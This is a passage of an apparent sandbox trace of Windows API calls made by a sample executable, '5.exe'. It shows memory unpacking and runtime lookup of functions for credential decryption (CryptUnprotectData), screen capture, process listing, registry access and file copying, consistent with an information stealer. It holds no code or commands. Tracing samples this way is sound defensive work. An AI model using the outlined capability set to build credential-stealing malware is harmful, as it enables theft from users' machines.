Size=0x1f) returned 0x251a98 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x36) returned 0x251ac0 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x37) returned 0x251b00 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3c) returned 0x251b40 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x31) returned 0x251b88 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251bc8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x251be8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x14) returned 0x251c18 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xd) returned 0x251c38 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x25) returned 0x251c50 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x39) returned 0x251c80 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x251cc8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251ce8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xe) returned 0x251d08 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x69) returned 0x251d20 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x3e) returned 0x251d98 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1b) returned 0x251de0 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1d) returned 0x251e08 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x48) returned 0x251e30 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x251e80 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x251ea0 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1b) returned 0x251ec0 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x24) returned 0x251ee8 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x29) returned 0x251f18 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1e) returned 0x251f50 [0052.120] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x41) returned 0x251f78 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x17) returned 0x251fc8 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xf) returned 0x251fe8 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x16) returned 0x252000 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2a) returned 0x252020 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x29) returned 0x252058 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x15) returned 0x252090 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x1e) returned 0x2520b0 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x2a) returned 0x2520d8 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x252110 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x18) returned 0x252130 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x46) returned 0x252150 [0052.121] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2511f8 | out: hHeap=0x250000) returned 1 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x800) returned 0x2521a0 [0052.121] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x80) returned 0x2511f8 [0052.122] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.122] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.122] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x43304e) returned 0x0 [0052.122] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2511f8) returned 0x80 [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.122] SetLastError (dwErrCode=0x0) [0052.122] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.123] GetLastError () returned 0x0 [0052.123] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.124] SetLastError (dwErrCode=0x0) [0052.124] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.125] SetLastError (dwErrCode=0x0) [0052.125] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.126] GetLastError () returned 0x0 [0052.126] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.127] SetLastError (dwErrCode=0x0) [0052.127] GetLastError () returned 0x0 [0052.128] SetLastError (dwErrCode=0x0) [0052.128] GetLastError () returned 0x0 [0052.128] SetLastError (dwErrCode=0x0) [0052.128] GetLastError () returned 0x0 [0052.394] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.394] VirtualProtect (in: lpAddress=0x64dc70, dwSize=0x14ad8, flNewProtect=0x40, lpflOldProtect=0x18e950 | out: lpflOldProtect=0x18e950*=0x4) returned 1 [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0052.404] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0052.404] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0052.405] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.405] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0052.405] SetErrorMode (uMode=0x400) returned 0x0 [0052.405] SetErrorMode (uMode=0x0) returned 0x400 [0052.405] GetVersionExA (in: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18d8ac*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0052.405] VirtualAlloc (lpAddress=0x0, dwSize=0x1c000, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0052.412] VirtualProtect (in: lpAddress=0x400000, dwSize=0x20000, flNewProtect=0x40, lpflOldProtect=0x18e934 | out: lpflOldProtect=0x18e934*=0x2) returned 1 [0052.416] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.416] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.416] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSection") returned 0x77162c42 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetThreadLocale") returned 0x76c335cf [0052.417] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoA") returned 0x76c30e00 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0052.418] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0052.418] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0052.418] GetProcAddress (hModule=0x74f40000, lpProcName="GetKeyboardType") returned 0x74f99ac4 [0052.418] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0052.418] GetProcAddress (hModule=0x74f40000, lpProcName="CharNextA") returned 0x74f57a1b [0052.418] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0052.419] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExA") returned 0x74d548ef [0052.419] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0052.419] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0052.419] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75220000 [0052.488] GetProcAddress (hModule=0x75220000, lpProcName="SysFreeString") returned 0x75223e59 [0052.488] GetProcAddress (hModule=0x75220000, lpProcName="SysReAllocStringLen") returned 0x75227810 [0052.489] GetProcAddress (hModule=0x75220000, lpProcName="SysAllocStringLen") returned 0x752245d2 [0052.489] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0052.489] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0052.489] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExA") returned 0x74d54907 [0052.489] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyA") returned 0x74d6a299 [0052.489] GetProcAddress (hModule=0x74d40000, lpProcName="FreeSid") returned 0x74d5412e [0052.489] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalUnlock") returned 0x76c4cfdf [0052.489] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalLock") returned 0x76c4d0a7 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemInfo") returned 0x76c349ca [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleA") returned 0x76c31245 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0052.490] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0052.491] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0052.491] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75ad0000 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="SelectObject") returned 0x75ae4f70 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteObject") returned 0x75ae5689 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="DeleteDC") returned 0x75ae58b3 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleDC") returned 0x75ae54f4 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="CreateCompatibleBitmap") returned 0x75ae5f49 [0052.491] GetProcAddress (hModule=0x75ad0000, lpProcName="BitBlt") returned 0x75ae5ea6 [0052.491] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0052.491] GetProcAddress (hModule=0x74f40000, lpProcName="ReleaseDC") returned 0x74f57446 [0052.491] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemMetrics") returned 0x74f57d2f [0052.491] GetProcAddress (hModule=0x74f40000, lpProcName="GetDC") returned 0x74f572c4 [0052.491] GetProcAddress (hModule=0x74f40000, lpProcName="CharToOemBuffA") returned 0x74f6b1b0 [0052.491] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0052.492] GetProcAddress (hModule=0x755e0000, lpProcName="OleInitialize") returned 0x755fefd7 [0052.492] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0052.492] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0052.495] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0052.495] atexit (param_1=0x650794) returned 0 [0052.495] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0052.495] GetKeyboardType (nTypeFlag=0) returned 4 [0052.495] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe\" " [0052.495] GetStartupInfoA (in: lpStartupInfo=0x18e8c8 | out: lpStartupInfo=0x18e8c8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0052.495] GetVersion () returned 0x1db10106 [0052.495] GetVersion () returned 0x1db10106 [0052.495] GetCurrentThreadId () returned 0xb34 [0052.495] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x759b0000 [0052.501] GetProcAddress (hModule=0x759b0000, lpProcName="CryptUnprotectData") returned 0x759e5a7f [0052.501] LoadLibraryA (lpLibFileName="crtdll.dll") returned 0x6c240000 [0052.856] GetProcAddress (hModule=0x6c240000, lpProcName="wcscmp") returned 0x6c25032a [0052.856] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.531] GetProcAddress (hModule=0x73d90000, lpProcName="GdiplusStartup") returned 0x73db5600 [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdiplusShutdown") returned 0x73db56be [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x73dc6671 [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdipGetImageEncodersSize") returned 0x73dd2203 [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdipGetImageEncoders") returned 0x73dd228c [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdipDisposeImage") returned 0x73dc4cc8 [0053.532] LoadLibraryA (lpLibFileName="Gdiplus.dll") returned 0x73d90000 [0053.532] GetProcAddress (hModule=0x73d90000, lpProcName="GdipSaveImageToStream") returned 0x73dc4153 [0053.533] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0053.533] GetProcAddress (hModule=0x755e0000, lpProcName="CreateStreamOnHGlobal") returned 0x7560363b [0053.533] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0053.533] GetProcAddress (hModule=0x755e0000, lpProcName="GetHGlobalFromStream") returned 0x756041d5 [0053.533] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="ExpandEnvironmentStringsW") returned 0x76c34173 [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatus") returned 0x76c38b6d [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0053.533] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileAttributesW") returned 0x76c31b18 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="ReleaseMutex") returned 0x76c3111e [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentDirectoryW") returned 0x76c35611 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableW") returned 0x76c389f1 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableW") returned 0x76c31b48 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="SetCurrentDirectoryW") returned 0x76c41260 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0053.534] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalMemoryStatusEx") returned 0x76c5d4c4 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="SetDllDirectoryW") returned 0x76cb004f [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoA") returned 0x76c4d5e5 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocalTime") returned 0x76c35aa6 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="RemoveDirectoryW") returned 0x76cb44cf [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0053.535] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDriveStringsA") returned 0x76c3e4dc [0053.536] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0053.536] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0053.536] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="AllocateAndInitializeSid") returned 0x74d540e6 [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="LookupAccountSidA") returned 0x74d81daa [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="CreateProcessAsUserW") returned 0x74d4c592 [0053.536] GetProcAddress (hModule=0x74d40000, lpProcName="CheckTokenMembership") returned 0x74d4df04 [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyW") returned 0x74d52459 [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumKeyW") returned 0x74d5445b [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="RegEnumValueW") returned 0x74d548cc [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextA") returned 0x74d491dd [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0053.537] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0053.537] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0053.537] GetProcAddress (hModule=0x74f40000, 